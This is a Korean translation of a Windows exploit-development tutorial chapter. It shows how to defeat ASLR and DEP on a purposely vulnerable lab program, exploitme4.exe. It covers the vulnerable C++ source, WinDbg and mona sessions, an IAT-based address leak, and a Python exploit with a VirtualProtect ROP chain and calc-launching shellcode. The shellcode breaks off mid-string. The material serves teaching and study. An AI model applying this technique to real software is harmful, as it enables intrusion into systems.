티스토리 뷰
본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다.
http://expdev-kiuhnm.rhcloud.com
최신 윈도우즈 익스플로잇 개발 10. Exploitme4 (ASLR)
hackability.kr (김태범)
hackability_at_naver.com or ktb88_at_korea.ac.kr
2016.07.19
이전 글을 읽으시지 않으셨다면 이전의 3개의 글을 읽어주시기 바랍니다.
ASLR은 Address Space Layout Randomization의 두음글자 입니다. 이름으로 추측해볼 수 있듯이, 주소 공간의 배치가 무작위 합니다. (PEB, TEB 그리고 ASLR을 지원하는 모든 모듈들의 기본 주소가 윈도우즈가 재부팅 되거나 메모리에 로드 될 때마다 변경됩니다) 이 때문에 익스플로잇 코드에 특정 주소들을 직접 넣는것이 불가능 해졌습니다. ASLR을 우회하기 위해 최소 2가지 방법이 있습니다.
1. 구조나 모듈의 기본 주소가 일정한 것들을 찾기
2. 정보 노출 기법을 이용하여 구조나 모듈의 기본 주소 찾기
여기서는 exploitme4.exe을 위한 익스플로잇을 만들어 보도록 하겠습니다.
VS 2013에서 스택 쿠키를 비활성화 시키고 DEP는 이전과 동일하게 둡니다. Project -> properties에 들어 가셔서 Release 설정을 다음과 같이 설정합니다.
- Configuration Properties
- C/C++
Code Generation
Security Check: Disable Security Check (/GS-)
DEP를 활성화 시킵니다.
Configuration Properties
Linker
Advanced
Data Execution Prevention (DEP): Yes (/NXCOMPAT)
프로그램 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | #include <cstdio> #include <conio.h> class Name { char name[32]; int *ptr; public: Name() : ptr((int *)name) {} char *getNameBuf() { return name; } int readFromFile(const char *filePath) { printf("Reading name from file...\n"); for (int i = 0; i < sizeof(name); ++i) name[i] = 0; FILE *f = fopen(filePath, "rb"); if (!f) return 0; fseek(f, 0L, SEEK_END); long bytes = ftell(f); fseek(f, 0L, SEEK_SET); fread(name, 1, bytes, f); fclose(f); return 1; } virtual void printName() { printf("Hi, %s!\n", name); } virtual void printNameInHex() { for (int i = 0; i < sizeof(name) / 4; ++i) printf(" 0x%08x", ptr[i]); printf("]\n"); } }; int main() { Name name; while (true) { if (!name.readFromFile("c:\\name.dat")) return -1; name.printName(); name.printNameInHex(); printf("Do you want to read the name again? [y/n] "); if (_getch() != 'y') break; printf("\n"); } return 0; } | cs |
프로그램은 기존과 비슷하지만 몇몇 로직이 클래스(class)로 변경되었습니다. 또한 프로그램에 반복문을 넣어 프로그램을 종료하지 않고 익스플로잇을 여러번 할 수 있습니다.
취약점은 동일합니다. 클래스 내부의 Name 에 대해 버퍼 오버플로우를 시킬 수 있지만 이번에는 2가지 다른 방식으로 진행합니다.
1. name 객체는 스택에 있기 때문에 name 속성을 오버플로우 시켜 main()의 ret eip를 조작하고 main()이 종료될 때 쉘코드를 호출합니다.
2. name 객체의 name 속성을 오버플로우 시킴으로써 printNameInHex() 함수에서 사용되는 ptr 속성을 덮어 쓸 수 있습니다. ptr 을 조작함으로써 printNameInHex()에 임의의 32 bytes 메모리를 출력 (정보 노출)할 수 있습니다.
먼저 ASLR을 우회하기 위해 정보 노출이 필요한지 살펴 봅니다. WinDbg에서 exploitme4를 불러오고 main()에 breakpoint 를 걸어 둡니다.
bp exploitme4!main
그리고 F5(go)한 뒤, mona를 이용하여 모듈을 살펴봅니다.
0:000> !py mona modules
Hold on...
[+] Command used:
!py mona.py modules
---------- Mona command started on 2015-03-22 02:22:46 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
0x77090000 | 0x7709a000 | 0x0000a000 | False | True | True | True | True | 6.1.7601.18768 [LPK.dll] (C:\Windows\syswow64\LPK.dll)
0x747c0000 | 0x7481a000 | 0x0005a000 | False | True | True | True | True | 8.0.0.4344 [guard32.dll] (C:\Windows\SysWOW64\guard32.dll)
0x76890000 | 0x7695c000 | 0x000cc000 | False | True | True | True | True | 6.1.7601.18731 [MSCTF.dll] (C:\Windows\syswow64\MSCTF.dll)
0x74e90000 | 0x74ed7000 | 0x00047000 | False | True | True | True | True | 6.1.7601.18409 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)
0x747b0000 | 0x747b9000 | 0x00009000 | False | True | True | True | True | 6.1.7600.16385 [VERSION.dll] (C:\Windows\SysWOW64\VERSION.dll)
0x747a0000 | 0x747a7000 | 0x00007000 | False | True | True | True | True | 6.1.7600.16385 [fltlib.dll] (C:\Windows\SysWOW64\fltlib.dll)
0x76ad0000 | 0x76b6d000 | 0x0009d000 | False | True | True | True | True | 1.626.7601.18454 [USP10.dll] (C:\Windows\syswow64\USP10.dll)
0x01390000 | 0x01396000 | 0x00006000 | False | True | True | True | False | -1.0- [exploitme4.exe] (exploitme4.exe)
0x74f90000 | 0x75020000 | 0x00090000 | False | True | True | True | True | 6.1.7601.18577 [GDI32.dll] (C:\Windows\syswow64\GDI32.dll)
0x76320000 | 0x76430000 | 0x00110000 | False | True | True | True | True | 6.1.7601.18409 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)
0x755e0000 | 0x7568c000 | 0x000ac000 | False | True | True | True | True | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll)
0x74a40000 | 0x74a4c000 | 0x0000c000 | False | True | True | True | True | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll)
0x74a50000 | 0x74ab0000 | 0x00060000 | False | True | True | True | True | 6.1.7601.18779 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll)
0x770c0000 | 0x77240000 | 0x00180000 | False | True | True | True | True | 6.1.7601.18247 [ntdll.dll] (ntdll.dll)
0x76bc0000 | 0x76c60000 | 0x000a0000 | False | True | True | True | True | 6.1.7601.18247 [ADVAPI32.dll] (C:\Windows\syswow64\ADVAPI32.dll)
0x764c0000 | 0x765b0000 | 0x000f0000 | False | True | True | True | True | 6.1.7601.18532 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)
0x6c9f0000 | 0x6cade000 | 0x000ee000 | False | True | True | True | True | 12.0.21005.1 [MSVCR120.dll] (C:\Windows\SysWOW64\MSVCR120.dll)
0x755a0000 | 0x755b9000 | 0x00019000 | False | True | True | True | True | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll)
0x76980000 | 0x76985000 | 0x00005000 | False | True | True | True | True | 6.1.7600.16385 [PSAPI.DLL] (C:\Windows\syswow64\PSAPI.DLL)
0x76790000 | 0x76890000 | 0x00100000 | False | True | True | True | True | 6.1.7601.17514 [USER32.dll] (C:\Windows\syswow64\USER32.dll)
0x74d00000 | 0x74d60000 | 0x00060000 | False | True | True | True | True | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)
----------------------------------------------------------------------------------------------------------------------------------
[+] This mona.py action took 0:00:00.110000
위 내용을 보면, 모든 모듈이 ASLR을 지원하기 때문에 exploitme4.exe에는 정보 노출이 필요합니다.
정보 노출을 통해 kernel32.dll, ntdll.dll 그리고 msvcr120.dll의 기본 주소를 찾을 수 있지만 이를 위해서는 먼저 exploitme4.exe의 배치 정보에 대해 수집을 하고 다음에 우리가 관심있는 라이브러리에 대해 찾아보도록 하겠습니다.
.next section
먼저, exploitme4.exe 의 .text (.code) 영역에 대한 RVA를 구해보도록 합니다.
:000> !dh -s exploitme4
SECTION HEADER #1
.text name
AAC virtual size
1000 virtual address <---------------------------
C00 size of raw data
400 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
(no align specified)
Execute Read
SECTION HEADER #2
.rdata name
79C virtual size
2000 virtual address
800 size of raw data
1000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
(no align specified)
Read Only
<snip>
해당 RVA는 1000h이며 이 정보는 쉽게 구할 수 있습니다.
가상 함수들
클래스 Name은 2개의 가상 함수 (printName(), printNameInHex())를 가지고 있습니다. 이는 Name이 가상 함수 테이블 (virtual function table)을 가지며 두 개의 가상 함수 호출을 위해 사용됨을 알 수 있습니다. 어떻게 동작하는지 살펴 보도록 합시다.
OOP (Object-Oriented Programming)에서는 클래스는 특별합니다. (ex: 상속, 가상 함수 ...) 다음 예제를 보면
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | #define _USE_MATH_DEFINES #include <cmath> #include <cstdio> class Figure { public: virtual double getArea() = 0; }; class Rectangle : public Figure { double base, height; public: Rectangle(double base, double height) : base(base), height(height) {} virtual double getArea() { return base * height; } }; class Circle : public Figure { double radius; public: Circle(double radius) : radius(radius) {} virtual double getArea() { return radius * M_PI; } }; int main() { Figure *figures[] = { new Rectangle(10, 5), new Circle(1.5), new Rectangle(5, 10) }; for (Figure *f : figures) printf("area: %lf\n", f->getArea()); return 0; } | cs |
Rectangle 클래스와 Circle 클래스는 Figure 클래스로부터 상속되었습니다. (Rectangle과 Circle은 모두 Figure) 이 뜻은 Rectangle과 Circle에 Figure 포인터를 전달 할 수 있음을 뜻합니다. Figure에는 getArea()에 대한 구현은 없지만 Rectangle이나 Circle에서는 그들만의 특징으로 구현된 getArea()를 제공합니다.
main() 함수를 살펴 보면 처음 3개의 Figures (2개의 Rectangles 그리고 1개의 Circle)이 할당되었고 figures 배열에 해당 포인터들을 넣었습니다. Figure 타입의 포인터 f 는 f->getArea()로 호출됩니다. 이 표현은 figure가 Rectangle이냐 Circle이냐에 따라 getArea() 가 결정됩니다.
어셈블리로는 어떻게 구현이 되었을까요? for 반복문을 살펴 보면 다음과 같습니다.
for (Figure *f : figures)
010910AD 8D 74 24 30 lea esi,[esp+30h]
010910B1 89 44 24 38 mov dword ptr [esp+38h],eax
010910B5 BF 03 00 00 00 mov edi,3
010910BA 8D 9B 00 00 00 00 lea ebx,[ebx]
010910C0 8B 0E mov ecx,dword ptr [esi]
printf("area: %lf\n", f->getArea());
010910C2 8B 01 mov eax,dword ptr [ecx]
010910C4 8B 00 mov eax,dword ptr [eax]
010910C6 FF D0 call eax
010910C8 83 EC 08 sub esp,8
010910CB DD 1C 24 fstp qword ptr [esp]
010910CE 68 18 21 09 01 push 1092118h
010910D3 FF D3 call ebx
010910D5 83 C4 0C add esp,0Ch
010910D8 8D 76 04 lea esi,[esi+4]
010910DB 4F dec edi
010910DC 75 E2 jne main+0A0h (010910C0h)
return 0;
}
흥미로운 부분은 다음과 같습니다.
010910C0 8B 0E mov ecx,dword ptr [esi] // ecx = ptr to the object
printf("area: %lf\n", f->getArea());
010910C2 8B 01 mov eax,dword ptr [ecx] // eax = ptr to the VFTable
010910C4 8B 00 mov eax,dword ptr [eax] // eax = ptr to the getArea() implementation
010910C6 FF D0 call eax
각각의 객체는 VFTable에 연관된 포인터로 시작합니다. 모든 Rectangle 객체는 동일한 VFTable을 가리키며 이는 Rectangle에 연관된 getArea()의 포인터를 갖습니다. Circle 타입의 오브젝트는 다른 VFTable을 가리키는데 이는 그들만의 getArea() 포인터를 갖습니다. 이를 통해 같은 어셈블리 코드로 오브젝트에 따라 적절한 getArea()를 호출하는 것을 볼 수 있습니다.
좀 더 명확하게 하기 위해 간단한 그림은 다음과 같습니다.
exploitme4.exe로 돌아가서 WinDbg로 불러온 뒤, main()에 breakpoint 를 넣고 F10(step)으로 while loop 에 들어 갈때까지 진행합니다. 이를 통해 name 객체가 생성되고 초기화 되는 것을 확인할 수 있습니다.
name 객체에 대한 배치는 다음과 같습니다.
|VFTptr | name | ptr |
<DWORD> <-- 32 bytes --> <DWORD>
전에 말했듯, 가상 함수 테이블 포인터는 오프셋 0에 위치합니다. 이 포인터를 읽으면 다음과 같습니다.
0:000> dd name
0033f8b8 011421a0 0033f8e8 01141290 0114305c
0033f8c8 01143060 01143064 00000000 0114306c
0033f8d8 6ca0cc79 0033f8bc 00000001 0033f924
0033f8e8 011413a2 00000001 00574fb8 00566f20
0033f8f8 155a341e 00000000 00000000 7efde000
0033f908 00000000 0033f8f8 00000022 0033f960
0033f918 011418f9 147dee12 00000000 0033f930
0033f928 7633338a 7efde000 0033f970 770f9f72
VFTptr은 0x011421a0 입니다. 이제 VFTable이 가지고 있는 내용을 보도록 합니다.
0:000> dd 011421a0
011421a0 01141000 01141020 00000048 00000000
011421b0 00000000 00000000 00000000 00000000
011421c0 00000000 00000000 00000000 00000000
011421d0 00000000 00000000 00000000 00000000
011421e0 00000000 01143018 01142310 00000001
011421f0 53445352 9c20999b 431fa37a cc3e54bc
01142200 da01c06e 00000010 755c3a63 73726573
01142210 75696b5c 5c6d6e68 75636f64 746e656d
printName() (0x01141000)을 위한 포인터와 printNameInHex() (0x01141020)을 위한 포인터가 있습니다. printName()을 가리키는 포인터의 RVA를 계산해봅시다.
0:000> ? 01141000-exploitme4
Evaluate expression: 4096 = 00001000
IAT
PE 파일의 IAT (Import Address Table)은 OS 로더가 동적 링킹 과정에서 다른 모듈에서 제공되어 가져온 함수들의 주소를 넣은 테이블 입니다. 프로그램에서 제공받은 함수를 사용할 때 다음과 같은 형태로 CALL 을 사용합니다.
CALL dword ptr ds:[location_in_IAT]
exploitme4.exe의 IAT 를 보면 모듈의 기본 주소와 어디서 제공되었는지 알 수 있습니다.
먼저, IAT는 어디에 있는지 찾아 보도록 하겠습니다.
0:000> !dh -f exploitme4
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
14C machine (i386)
5 number of sections
550DA390 time date stamp Sat Mar 21 18:00:00 2015
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
102 characteristics
Executable
32 bit word machine
OPTIONAL HEADER VALUES
10B magic #
12.00 linker version
C00 size of code
1000 size of initialized data
0 size of uninitialized data
140A address of entry point
1000 base of code
----- new -----
00ac0000 image base
1000 section alignment
200 file alignment
3 subsystem (Windows CUI)
6.00 operating system version
0.00 image version
6.00 subsystem version
6000 size of image
400 size of headers
0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
8140 DLL characteristics
Dynamic base
NX compatible
Terminal server aware
0 [ 0] address [size] of Export Directory
23C4 [ 3C] address [size] of Import Directory
4000 [ 1E0] address [size] of Resource Directory
0 [ 0] address [size] of Exception Directory
0 [ 0] address [size] of Security Directory
5000 [ 1B4] address [size] of Base Relocation Directory
20E0 [ 38] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
21A8 [ 40] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
2000 [ B8] address [size] of Import Address Table Directory <-----------------------
0 [ 0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
IAT의 RVA는 0x2000이며 크기는 0xB8 바이트 입니다. 심볼들과 연관된 주소를 출력해주는 dps 명령어를 이용하여 IAT의 내용을 보도록 하겠습니다.
0:000> dps exploitme4+2000 LB8/4
00ac2000 76334a25 kernel32!IsDebuggerPresentStub <---------------------- kernel32
00ac2004 770f9dd5 ntdll!RtlDecodePointer <---------------------- ntdll
00ac2008 763334c9 kernel32!GetSystemTimeAsFileTimeStub msvcr120
00ac200c 76331420 kernel32!GetCurrentThreadIdStub |
00ac2010 763311f8 kernel32!GetCurrentProcessIdStub |
00ac2014 763316f1 kernel32!QueryPerformanceCounterStub |
00ac2018 7710107b ntdll!RtlEncodePointer |
00ac201c 763351fd kernel32!IsProcessorFeaturePresent |
00ac2020 00000000 |
00ac2024 6ca94ced MSVCR120!_XcptFilter [f:\dd\vctools\crt\crtw32\misc\winxfltr.c @ 195] <---+
00ac2028 6ca6bb8d MSVCR120!_amsg_exit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 485]
00ac202c 6ca1e25f MSVCR120!__getmainargs [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 142]
00ac2030 6ca1c7ce MSVCR120!__set_app_type [f:\dd\vctools\crt\crtw32\misc\errmode.c @ 94]
00ac2034 6ca24293 MSVCR120!exit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 416]
00ac2038 6ca6bbb8 MSVCR120!_exit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 432]
00ac203c 6ca24104 MSVCR120!_cexit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 447]
00ac2040 6ca955eb MSVCR120!_configthreadlocale [f:\dd\vctools\crt\crtw32\misc\wsetloca.c @ 141]
00ac2044 6ca6b9e9 MSVCR120!__setusermatherr [f:\dd\vctools\crt\fpw32\tran\matherr.c @ 41]
00ac2048 6ca0cc86 MSVCR120!_initterm_e [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 990]
00ac204c 6ca0cc50 MSVCR120!_initterm [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 941]
00ac2050 6cacf62c MSVCR120!__initenv
00ac2054 6cacf740 MSVCR120!_fmode
00ac2058 6c9fec80 MSVCR120!type_info::~type_info [f:\dd\vctools\crt\crtw32\eh\typinfo.cpp @ 32]
00ac205c 6ca8dc2c MSVCR120!terminate [f:\dd\vctools\crt\crtw32\eh\hooks.cpp @ 66]
00ac2060 6ca1c7db MSVCR120!__crtSetUnhandledExceptionFilter [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 194]
00ac2064 6c9fedd7 MSVCR120!_lock [f:\dd\vctools\crt\crtw32\startup\mlock.c @ 325]
00ac2068 6c9fedfc MSVCR120!_unlock [f:\dd\vctools\crt\crtw32\startup\mlock.c @ 363]
00ac206c 6ca01208 MSVCR120!_calloc_crt [f:\dd\vctools\crt\crtw32\heap\crtheap.c @ 55]
00ac2070 6ca0ca46 MSVCR120!__dllonexit [f:\dd\vctools\crt\crtw32\misc\onexit.c @ 263]
00ac2074 6ca1be6b MSVCR120!_onexit [f:\dd\vctools\crt\crtw32\misc\onexit.c @ 81]
00ac2078 6ca9469b MSVCR120!_invoke_watson [f:\dd\vctools\crt\crtw32\misc\invarg.c @ 121]
00ac207c 6ca1c9b5 MSVCR120!_controlfp_s [f:\dd\vctools\crt\fpw32\tran\contrlfp.c @ 36]
00ac2080 6ca02aaa MSVCR120!_except_handler4_common [f:\dd\vctools\crt\crtw32\misc\i386\chandler4.c @ 260]
00ac2084 6ca96bb8 MSVCR120!_crt_debugger_hook [f:\dd\vctools\crt\crtw32\misc\dbghook.c @ 57]
00ac2088 6ca9480c MSVCR120!__crtUnhandledException [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 253]
00ac208c 6ca947f7 MSVCR120!__crtTerminateProcess [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 221]
00ac2090 6c9fed74 MSVCR120!operator delete [f:\dd\vctools\crt\crtw32\heap\delete.cpp @ 20]
00ac2094 6ca9215c MSVCR120!_getch [f:\dd\vctools\crt\crtw32\lowio\getch.c @ 237]
00ac2098 6ca04f9e MSVCR120!fclose [f:\dd\vctools\crt\crtw32\stdio\fclose.c @ 43]
00ac209c 6ca1fdbc MSVCR120!fseek [f:\dd\vctools\crt\crtw32\stdio\fseek.c @ 96]
00ac20a0 6ca1f9de MSVCR120!ftell [f:\dd\vctools\crt\crtw32\stdio\ftell.c @ 45]
00ac20a4 6ca05a8c MSVCR120!fread [f:\dd\vctools\crt\crtw32\stdio\fread.c @ 301]
00ac20a8 6ca71dc4 MSVCR120!fopen [f:\dd\vctools\crt\crtw32\stdio\fopen.c @ 124]
00ac20ac 6cacf638 MSVCR120!_commode
00ac20b0 6ca72fd9 MSVCR120!printf [f:\dd\vctools\crt\crtw32\stdio\printf.c @ 49]
00ac20b4 00000000
우리는 각 모듈들을 위해 3개의 주소가 필요합니다. 3개의 주소들의 RVA 값들을 이용하여 연산하면 다음과 같습니다.
0:000> ? kernel32!IsDebuggerPresentStub-kernel32
Evaluate expression: 84517 = 00014a25
0:000> ? ntdll!RtlDecodePointer-ntdll
Evaluate expression: 237013 = 00039dd5
0:000> ? MSVCR120!_XcptFilter-msvcr120
Evaluate expression: 675053 = 000a4ced
그러면 다음과 같은 정보를 알 수 있습니다.
@exploitme4 + 00002000 kernel32 + 00014a25
@exploitme4 + 00002004 ntdll + 00039dd5
@exploitme4 + 00002024 msvcr120 + 000a4ced
첫 번째 줄의 의미는 exploitme4 + 00002000 주소에 kernel32 + 00014a25가 있음을 뜻합니다. exploitme4 나 kernel32 가 변경되어도 RVA는 일정하기 때문에 테이블은 항상 정확합니다. 이 정보는 익스플로잇 중에 kernel32.dll, ntdll.dll, 그리고 msvcr120.dll의 기본 주소를 찾는데 결정적인 역할을 합니다.
계산기 띄우기
위에서 보듯, name 오브젝트의 배열은 다음과 같습니다.
|VFTptr | name | ptr |
<DWORD> <-- 32 bytes --> <DWORD>
이 뜻은 ptr 이 name.dat 파일에서 offset 32 에 있는 dowrd로 덮어 써집니다. 지금은 우리가 EIP 를 조작하고 싶기 때문에 ptr 은 무시하도록 하겠습니다.
먼저, 오브젝트 name이 스택에 할당되고 name 속성을 오버플로우 시켜 ret eip를 덮을 수 있는지 확인해보도록 하겠습니다.
여기서 EIP 를 조작하려면 ptr을 덮어 써야 하기 때문에 ptr을 위해 읽을 수 있는 여역의 주소를 선택해야 합니다. 그렇지 않으면 ptr 를 접근할 때 exploitme4에서 충돌이 발생됩니다. ptr을 kernel32.dll 의 기본 주소로 덮어 써보도록 하겠습니다.
다음 파이썬 스크립트를 실행합니다.
1 2 3 4 | with open(r'c:\name.dat', 'wb') as f: readable = struct.pack('<I', 0x76320000) name = 'a'*32 + readable + 'b'*100 f.write(name) | cs |
WinDbg에서 exploitme4를 불러 F5 (go)를 하고 main()을 나가기 위해 exploitme4의 console에서 ‘n’ 을 입력하여 예외를 발생시킵니다.
(ff4.2234): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6ca92195 edx=0020e0e8 esi=00000001 edi=00000000
eip=62626262 esp=001cf768 ebp=62626262 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
62626262 ?? ???
보시면 EIP가 우리의 ‘bbbb’ 로 덮어 써졋음을 볼 수 있습니다. 패턴을 이용하여 EIP를 조작하기 위해 EIP 를 조작할 수 있는 DWORD의 offset을 찾기 위해 패턴 문자열을 이용하여 찾습니다.
0:000> !py mona pattern_create 100
Hold on...
[+] Command used:
!py mona.py pattern_create 100
Creating cyclic pattern of 100 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
[+] Preparing output file 'pattern.txt'
- (Re)setting logfile d:\WinDbg_logs\exploitme4\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open d:\WinDbg_logs\exploitme4\pattern.txt and copy the pattern from the file
[+] This mona.py action took 0:00:00.030000
수정된 스크립트는 다음과 같습니다.
1 2 3 4 5 6 | with open(r'c:\name.dat', 'wb') as f: readable = struct.pack('<I', 0x76320000) pattern = ('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6'+ 'Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A') name = 'a'*32 + readable + pattern f.write(name) | cs |
WinDbg에서 계속 진행하면 다른 예외가 생성되는 것을 볼 수 있습니다.
(f3c.23b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6ca92195 edx=001edf38 esi=00000001 edi=00000000
eip=33614132 esp=0039f9ec ebp=61413161 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
33614132 ?? ???
이 정보 (0x33614132)를 이용하여 오프셋을 구합니다.
0:000> !py mona pattern_offset 33614132
Hold on...
[+] Command used:
!py mona.py pattern_offset 33614132
Looking for 2Aa3 in pattern of 500000 bytes
- Pattern 2Aa3 (0x33614132) found in cyclic pattern at position 8
Looking for 2Aa3 in pattern of 500000 bytes
Looking for 3aA2 in pattern of 500000 bytes
- Pattern 3aA2 not found in cyclic pattern (uppercase)
Looking for 2Aa3 in pattern of 500000 bytes
Looking for 3aA2 in pattern of 500000 bytes
- Pattern 3aA2 not found in cyclic pattern (lowercase)
[+] This mona.py action took 0:00:00.180000
해당 오프셋이 8 임을 알았고 DEP를 우회하기 위해 사용되었던 스크립트를 다시 사용합니다. 여기서 몇몇 수정이 필요하고 변경된 kernel32.dll, ntdll.dll, msvcr120.dll 의 기본 주소도 수정해야 합니다.
전체 스크립트는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 | import struct # The signature of VirtualProtect is the following: # BOOL WINAPI VirtualProtect( # _In_ LPVOID lpAddress, # _In_ SIZE_T dwSize, # _In_ DWORD flNewProtect, # _Out_ PDWORD lpflOldProtect # ); # After PUSHAD is executed, the stack looks like this: # . # . # . # EDI (ptr to ROP NOP (RETN)) # ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect)) # EBP (ptr to POP (skips EAX on the stack)) # ESP (lpAddress (automatic)) # EBX (dwSize) # EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE)) # ECX (lpOldProtect (ptr to writeable address)) # EAX (address of ptr to VirtualProtect) # lpAddress: # ptr to "call esp" # <shellcode> msvcr120 = 0x6c9f0000 kernel32 = 0x76320000 ntdll = 0x770c0000 def create_rop_chain(): for_edx = 0xffffffff # rop chain generated with mona.py - www.corelan.be (and modified by me). rop_gadgets = [ msvcr120 + 0xbf868, # POP EBP # RETN [MSVCR120.dll] msvcr120 + 0xbf868, # skip 4 bytes [MSVCR120.dll] # ebx = 0x400 (dwSize) msvcr120 + 0x1c658, # POP EBX # RETN [MSVCR120.dll] 0x11110511, msvcr120 + 0xdb6c4, # POP ECX # RETN [MSVCR120.dll] 0xeeeefeef, msvcr120 + 0x46398, # ADD EBX,ECX # SUB AL,24 # POP EDX # RETN [MSVCR120.dll] for_edx, # edx = 0x40 (NewProtect = PAGE_EXECUTE_READWRITE) msvcr120 + 0xbedae, # POP EDX # RETN [MSVCR120.dll] 0x01010141, ntdll + 0x75b23, # POP EDI # RETN [ntdll.dll] 0xfefefeff, msvcr120 + 0x39b41, # ADD EDX,EDI # RETN [MSVCR120.dll] msvcr120 + 0xdb6c4, # POP ECX # RETN [MSVCR120.dll] kernel32 + 0xe0fce, # &Writable location [kernel32.dll] ntdll + 0x75b23, # POP EDI # RETN [ntdll.dll] msvcr120 + 0x68e3d, # RETN (ROP NOP) [MSVCR120.dll] msvcr120 + 0x6e150, # POP ESI # RETN [MSVCR120.dll] ntdll + 0x2e8ae, # JMP [EAX] [ntdll.dll] msvcr120 + 0x50464, # POP EAX # RETN [MSVCR120.dll] msvcr120 + 0xe51a4, # address of ptr to &VirtualProtect() [IAT MSVCR120.dll] msvcr120 + 0xbb7f9, # PUSHAD # RETN [MSVCR120.dll] kernel32 + 0x37133, # ptr to 'call esp' [kernel32.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) def write_file(file_path): with open(file_path, 'wb') as f: readable = struct.pack('<I', kernel32) ret_eip = struct.pack('<I', kernel32 + 0xb7805) # RETN shellcode = ( "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + 